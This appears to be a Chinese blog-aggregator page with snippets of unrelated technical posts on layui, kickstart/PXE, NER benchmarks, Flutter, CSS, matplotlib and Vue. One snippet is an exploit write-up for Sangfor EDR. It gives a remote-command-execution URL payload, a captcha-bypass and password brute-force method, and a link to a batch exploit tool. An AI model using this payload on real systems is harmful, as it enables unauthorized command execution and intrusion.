RED

layui给radio添加点击事件

元气小坏坏 提交于 2020-09-30 01:52:43
最近做一个后台项目,用到了layui,需要设计一个单选按钮并且添加点击事件。 参考了下官方文档 https://www.layui.com/doc/modules/form.html#onradio ,最终还是实现了这个效果。给layui一个好评,用layui来做后台管理系统确实不错。 html代码 < div class ="layui-form-item" > < label class ="layui-form-label" >< span style ="color: red" > * </ span > 选择: </ label > < div class ="layui-input-inline" > < input type ="radio" lay-filter ="testRadio" lay-verify ="required" name ="state" value ="pass" title ="通过" > < input type ="radio" lay-filter ="testRadio" lay-verify ="required" name ="state" value ="reject" title ="驳回" > </ div > </ div > js代码 form.on('radio(testRadio)', function (data

最全的自动系统安装centos.,kickstar+PXE.自动化安装centos系统(上)

匆匆过客 提交于 2020-09-29 18:06:44
kickstart 在我们日常工作中难免会出现一些系统安装的过程,但是有时候安装任务会很多,比如几十台,几百台机器,人工手动安装会有点难受,这里给大家提供一个kick start,我们可以通过手动配置来自动安装系统,这时对于部署大量机器,显得尤为重要,下面来介绍下kick start,如何安装, 官方给的一些说明,大家可以参考. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/performing_an_advanced_rhel_installation/index https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/installation_guide/sect-kickstart-syntax https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/installation_guide/s1-kickstart2-options kickstart文件主要包括三个部分:命令段,程序包段,脚本段 命令段:指明各种安装前配置,如键盘类型等 命令段中的常见命令:

深信服EDR远程命令执行

家住魔仙堡 提交于 2020-09-28 01:39:03
0x00简介 深信服EDR属于终端安全产品部,是深信服公司在安全业务的战略级投入产品。终端安全部门负责下一代终端安全解决方案的产品研发,基于先进的AI技术和高效的安全领域经验, 建设深信服整体安全解决方案的端点响应能力,与云、网、端产品联动,构建面向未来、有效防御的闭环体系。 0x01利用方法 1. https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id 2.linux读取文件 3.验证码绕过 // 校验验证码 if (!ldb_run_at_console()) { if (isset(\$_REQUEST["captcha"]) || $_REQUEST["captcha"] != base64_decode("M... echo "<font color='red'><b>验证码不对,请输入..." return; } } 先输入几次错误密码,把验证码弄出来后,开启Burp(抓包工具)爆破密码即可,只要验证码第一次输入对后不为空,即可绕过。 批量利用方法 在GitHub上已经有大佬放出批量***的exp https://github.com/A2gel/sangfor-edr-exploit 请勿尝试,非法***是** 违 **法的,请误去触犯法律,如作他用所承受的法律责任一概与作者无关

对命名实体识别进行基准测试:StanfordNLP,IBM,spaCy,Dialogflow和TextSpace

天大地大妈咪最大 提交于 2020-08-20 09:00:17
作者|Felix Laumann 编译|VK 来源|Towards Data Science NER是信息提取的一个子任务,它试图定位并将非结构化文本中提到的指定实体划分为预定义的类别,如人名、组织、位置、医疗代码、时间表达式、数量、货币。 我们创建了我们自己的小型测试数据集,其中11个示例来自谷歌的Taskmaster 2数据集,该数据集于2020年2月刚刚发布。我们将此数据集视为NER解决方案中未来研究和产品的基准数据集。我们用该数据集来探索TextSpace。 这个数据集中的句子可能在长度和包含的信息上有所不同,但是我们选择了其中包含大量实体的句子,因此我们可以根据最新的NER解决方案来区分优劣。我们测试集中的句子来自不同的领域,因为我们想看看我们在这篇文章中比较的解决方案有多灵活。请注意,这些示例中使用了Dialogflow聊天机器人,因此我们也希望Dialogflow在这些例子上能够执行得很好。 我们将首先详细地看两个例子,最后会有一个总结。 机票预订 让我们以一个想要预订航班的用户的句子为例: "So, I would like to fly out sometime tonight and fly back in the evening in 4 days. From I’m looking to go to Denver. I’m flying out of San

【Flutter 实战】动画核心

社会主义新天地 提交于 2020-08-20 07:54:24
老孟导读:动画系统是任何一个UI框架的核心功能,也是开发者学习一个UI框架的重中之重,同时也是比较难掌握的一部分,下面我们就一层一层的揭开 Flutter 动画的面纱。 任何程序的动画原理都是一样的,即:视觉暂留,视觉暂留又叫视觉暂停,人眼在观察景物时,光信号传入大脑神经,需经过一段短暂的时间,光的作用结束后,视觉形象并不立即消失,这种残留的视觉称“后像”,视觉的这一现象则被称为“视觉暂留”。 人眼能保留0.1-0.4秒左右的图像,所以在 1 秒内看到连续的25张图像,人就会感到画面流畅,而 1 秒内看到连续的多少张图像称为 帧率,即 FPS ,理论上 达到 24 FPS 画面比较流畅,而Flutter,理论上可以达到 60 FPS。 AnimationController 介绍完了动画系统的基本原理,实现一个蓝色盒子大小从 100 变为 200动画效果: class AnimationBaseDemo extends StatefulWidget { @override _AnimationBaseDemoState createState() => _AnimationBaseDemoState(); } class _AnimationBaseDemoState extends State<AnimationBaseDemo> { double _size = 100;

secsoso spl 语法说明

断了今生、忘了曾经 提交于 2020-08-20 07:49:56
概述 数据分析一直是近几年非常热的一个话题,但如何进行数据分析目前业界还没有一个统一答案,从抽象的角度来说,先要有数据,然后有目标,最后给个工具从数据中提取目标这个就是数据分析过程。但目前数据和目标都相对比较容易获取,但工具一直没有比较理想的工具。公司根据这种情况开发了一系列产品来缓解数据分析的过程,其中免费的命令行工具为secsoso。它们在搜索的时候都用了SPL (Search Processing Language)语言,本文就介绍SPL的搜索语法。 快速参考 面向SQL用户的SPL 以下内容不是 SQL 与 SPL搜索处理语⾔ (SPL) 之间的精确映射, 但是, 如果您熟悉 SQL,这⼀快速对⽐可以帮助您快速熟悉搜索命令的使⽤。 库概念 数据库概念 Spl概念 注释 SQL 查询 SPL搜索 SPL搜索是对数据进⾏检索, 并且可以执⾏转换和报告操作。 可以将搜索所获得的结果通过管道符从⼀个命令传递或传输到另⼀个命令, 以对这些结果进⾏过滤、 修改、 重新排序和分组。 表/视图 搜索结果 对secsoso来说一个文件就是一个表的概念。 row 结果/事件 SPL搜索中的结果是⼀个包含字段(即, 列) 值的列表, 对应于表格的⾏。事件是指具有时间戳和原始⽂本的结果。 通常, 事件是⽇志⽂件中的⼀条记录, 从 SQL 到SPL 说明: 完整语法为:file=(“/export

css中的行高,盒子模型(边框,内边距,外边距),以及firework的基本使用

徘徊边缘 提交于 2020-08-20 06:39:19
1、 行高定义 浏览器默认文字大小: 16px 行高:基线与基线之间的距离 行高 = 文字高度 + 上下边距 一行文字行高和父元素高度一致的时候,垂直居中显示 2、 行高的单位 文字大小 行高单位 行高的值 20px 350px 35px (和文字大小无关) 20px 2em 40px ( 20px*2 ) 20px 150% 30px ( 20px*150% ) 20px 2 40px ( 20px*2 ) 总结:单位除了像素以外,行高都是与文字乘积 父元素文字大小 子元素文字大小 行高单位 行高 20px 30px 40px 40px 20px 30px 2em 40px 20px 30px 150% 30px 20px 30px 2 60px 总结:不带单位时,行高和子元素大小相乘, em 和 % 的行高是和父元素文字大小相乘。行高以像素为单位,就是定义的行高值。 u 推荐使用像素 px 为单位 3、 盒子模型 3.1 边框 border border-top-style : solid 实线 dottled 点线 dashed 虚线 border-top-color: 边框颜色 border-top-width 边框粗细 u 边框属性的连写:没有顺序要求, 线型为必写项 border-top:red solid 5px; border:red solid 5px;

matplotlib库——5分钟入门,带你详细了解

*爱你&永不变心* 提交于 2020-08-20 05:33:04
前言 本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。 Matplotlib 是一个 Python 的 2D绘图库(当然也可以画三维形式的图形哦),它以各种硬拷贝格式和跨平台的交互式环境生成出版质量级别的图形 。通过 Matplotlib,开发者仅需要几行代码,便可以生成绘图,直方图,功率谱,条形图,错误图,散点图等。 Matplotlib 主要有两大模块:pyplot 和 pylab,这二者之间有何区别和联系呢? 首先 pyplot 和 pylab 都可以画出图形,且两者 API 也是类似的, 其中 pylab 包括了许多 numpy 和 pyplot 模块中常用的函数,对交互式使用(如在 IPython 交互式环境中)来说比较方便,既可以画图又可以进行计算,不过官方推荐对于项目编程最好还是分别导入 pyplot 和 numpy 来作图和计算。 先来个简单的 import numpy as np from matplotlib import pyplot as plt x = np.arange(0, 11 ) y = 2* x plt.plot(x, y, marker = ' o ' ) plt.show() 同一幅图中多条线 x = np.arange(0, 11 ) y1 = 2* x y2 = 4*

IBM 向云转型、大幅裁员、连 Watson 和 AI 团队也未能幸免

无人久伴 提交于 2020-08-20 05:11:52
来源:云头条 IBM提前30天通知成千上万名员工被裁,可领取90天的薪水,至少在美国是这样,而服务部门首当其冲。 IBM正在大举裁员,数量众多的与云计算业务无关的员工被告知他们在蓝色巨人的时间到头了。 这个IT巨头在回复IT外媒The Register就裁员规模和性质提出的问题时,并没有否认裁员一事,但“出于竞争原因”拒绝透露具体人数。 The Register相识的一名IBM员工称此举是IBM进一步向云“转型”的结果;如果是云计算业务方面的工作岗位,则不受裁员风波的影响。Reddit上的一则帖子给出了相似的观点,一名网友特别指出“我们团队的大多数成员幸免于难;我想我们是一支‘云之旅’(journey to cloud™)团队,因此这相对帮助了我们。” 不过其他消息人士声称,这家美国公司一些业绩惨淡的部门已进行了裁员。Watching IBM Facebook小组上跟踪IBM公司裁员的的一则帖子提到,云和认知软件团队以及Watson医疗团队都缩减了员工队伍。 旗下全球技术服务(GTS)公司在一天内整个部门整个部门地被裁,全球商业服务(GBS)团队也受到了严重影响。连印度的员工也没有幸免于难。 裁员公告网站The Layoff上的一则帖子包括一位匿名发帖人的评论,此人声称GTS团队和GBS团队将分别裁员40%和25%。这位透露消息的人补充道

简单搭建 @vue-cli3.0 及常用sass使用

拈花ヽ惹草 提交于 2020-08-19 23:28:02
1,在安装了Node.js后使用其中自带的包管理工具npm。或者使用淘宝镜像cnpm(这里不做说明) 1-1,下载vue3.0脚手架(如果之前装vue-cli3x之前的版本,先卸载 npm uninstall vue-cli -g) npm install -g @vue/cli 1-2,下载sass npm install node-sass --save-dev npm install sass-loader --save-dev 1-3,使用vue命令创建my-project项目 vue create my-project(vue init webpack my-project) 1-4,进入项目 cd my-project 1-5,启动项目 npm run serve启动项目 2,目录图片如下在组件componets下新建组件(可以建个文件夹放一个系列组件,便于项目管理) 2-1,在路由中引入组件(没有安装router记得install下,判断方法:可以在package.json文件下 dependencies是否含有vue-router,没有的话执行 npm install vue-router -S;或者直接在依赖写 "vue-router": "^3.0.6" 然后npm install), 使用:在路由文件中 实例化配置路由后暴露出去 export default